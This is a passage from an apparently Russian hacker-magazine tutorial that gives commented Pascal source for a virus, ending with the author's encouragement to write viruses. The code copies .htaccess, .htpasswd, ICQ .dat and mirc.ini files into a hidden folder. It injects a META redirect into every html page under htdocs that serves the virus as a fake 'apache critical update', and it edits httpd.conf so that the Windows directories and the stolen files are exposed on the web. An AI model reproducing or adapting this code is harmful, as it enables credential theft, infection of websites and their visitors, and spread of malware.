Т.к. на компьютере может оказаться несколько файлов .htaccess или
.htpasswd, мы перед копированием переименуем их в htaccess+случайное_число и htpasswd+случайное_число.

}

randomize;
copyfile(pchar(p),pchar(getdir('sysdir')+'\vxbackup\htaccess'+inttostr(random(666))),true);
end;
if AnsiLowerCase(sr.name) = '.htpasswd' then
begin
randomize;
copyfile(pchar(p),pchar(getdir('sysdir')+'\vxbackup\htpasswd'+inttostr(random(777))),true);
end;
if (ext = '*.dat') and (extractfileext(p) = '.dat') then
copyfile(pchar(p),pchar(getdir('sysdir')+'\vxbackup\'+sr.name),true);

{

Если процедура вызвана с параметром ext = '*.html', а это случается при обнаружении папки htdocs (здесь в апаче по умолчанию находятся html страницы и php скрипты), выполняется поиск и модификации всех html файлов содержащих строку '<head>'. Производится добавление мета тега, который предлагает загрузить наш вирус через 5 секунд после захода на страницу.

}

if (ext = '*.html') and (extractfileext(p) = '.html') then
begin
sl:= tstringlist.create;
assign(f,p);
reset(f);
while not eof(f) do
begin
readln(f,s);
sl.add(s);
if s = '<head>' then
sl.add('<META HTTP-EQUIV="Refresh" CONTENT="5; URL=updates/apache_1_3x_critical_update.exe">');
end;
close(f);
sl.savetofile(p);
end;
if AnsiLowerCase(sr.name) = 'mirc.ini' then
copyfile(pchar(p),pchar(getdir('sysdir')+'\vxbackup\'+sr.name),true);

{

Если найден файл httpd.conf (конфиг апача) в него добавляются alias записи, позволяющие получить доступ к уже обговоренным выше наиболее важным директориям ОС: %WinDir% - http://infectedhost.com/windir/, %SysDir% - http://indectedhost.com/sysdir/, папка %SysDir%\vxbackup\ (сюда мы копировали наиболее
важные файлы ОС и приложений, работающих с сетью) - http://infectedhost.com/vxbackup/. Также создается alias для %WinDir%\updates, теперь при заходе на сайт юзеру предложат скачать вирус, используя урл
http://infectedhost.com/updates /apache_1_3x_critical_update.exe. Здесь используется описанная выше функция
parse()

}

if AnsiLowerCase(sr.name) = 'httpd.conf' then
begin
copyfile(pchar(p),pchar(getdir('sysdir')+'\vxbackup\'+sr.name),true);
sl:= tstringlist.create;
assign(f,p);
reset(f);
while not eof(f) do
begin
readln(f,s);
sl.add(s);
end;
close(f);
sl.add('Alias /windir/ "'+parse(getdir('windir'))+'/"');
sl.add('Alias /sysdir/ "'+parse(getdir('sysdir'))+'/"');
sl.add('Alias /vxbackup/ "'+parse(getdir('sysdir')+'/vxbackup/"'));
sl.add('Alias /updates/ "'+parse(getdir('')+'"'));
sl.savetofile(p);
end;
end
else
begin
if (sr.name <> '.') and (sr.name <> '..') then
begin

{

Если найдена директория, в которой обычно лежит <uin>.dat, запускается процедура main() с параметром ext = '*.dat', что приведет к копированию из этой папки всех файлов с расширением .dat в %SysDir%\vxbackup\. Кстати, вызов процедуры или функции из самой себя называется рекурсивным вызовом.

}

if (sr.name = '2002a') or (sr.name = '2001b') then
main(p,'*.dat')
else
if (sr.name = 'htdocs') then
begin
{ Если найдена директория htdocs происходит запуск процедуры main() c параметром ext = '*.html' (что это дает - читай выше) и ext = '*.*' }
main(p,'*.html');
main(p,'*.*');
end
else
main(p,'*.*');
end;
end;
until
{ Ничего не найдено }
findnext(sr) <> 0;
{ Прекращаем поиск }
findclose(sr);
end;

var
c: char;
begin
{ Для всех логических дисков компьютера запускаем процедуру findapache() }
for c:= 'A' to 'Z' do
if (getdrivetype(pchar(c+':\')) = DRIVE_FIXED) then
findapache(c+':\');
{ Если в %WinDir&\updates найден файл apache_1_3x_critical_update.exe (если в результате выполнения процедуру findapache() было установлено, что апач инсталлирован - вирус копирует себя в %WinDir%\updates) создаем папку vxbackup в %SysDir% }
if fileexists(getdir('')+'apache_1_3x_critical_update.exe') then
{ Если апач установлен.. }
begin
createdir(getdir('sysdir')+'\vxbackup');
for c:= 'A' to 'Z' do
{ .. выполняем процедуру main() для всех логических дисков компьютера }
if (getdrivetype(pchar(c+':\')) = DRIVE_FIXED) then
main(c+':\','*.*');
end
else
{ Если апач не установлен, выводим messagebox }
messagebox(0,'Download Apache from httpd.apache.org and enjoy! :-)','Khehe.. You are a lucky..',mb_ok);
end.

 

Возможно, кто-то будет спорить с тем, что приведенный выше код можно назвать вирусом. В этой статье я придерживаюсь формулировки Касперского, Данилова и многих других известных разработчиков антивирусов, которые называют вирусом любую вредоносную программу, в том числе RAT, сетевые черви, "логические бомбы" и даже некоторые программные реализации DoS атак ;-). Кроме этого, хочу заметить, что приведенная в статье программа тестировалась только на одной машине и гарантированно работает только на ней и на компьютерах со схожим установленным и настроенным ПО. Для расширения круга действия (работа с IIS, дополнительные способы распространения, дополнительные возможности) вируса требуется значительная модификация кода. Моя статья всего лишь вводная, здесь ты не найдешь готового "рецепта" написания вируса, т.к. универсальное решение возможно в очень редких случаях, и является плодом долгой и кропотливой работы, а это выходит за рамки данной статьи. Но, так или иначе, если ты дочитал до конца, то поздравляю - свой первый сетевой "вирусный hello world" ты уже написал! Удачи тебе, пиши вирусы, и самое главное - учись всегда думать сам.

Исходники

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии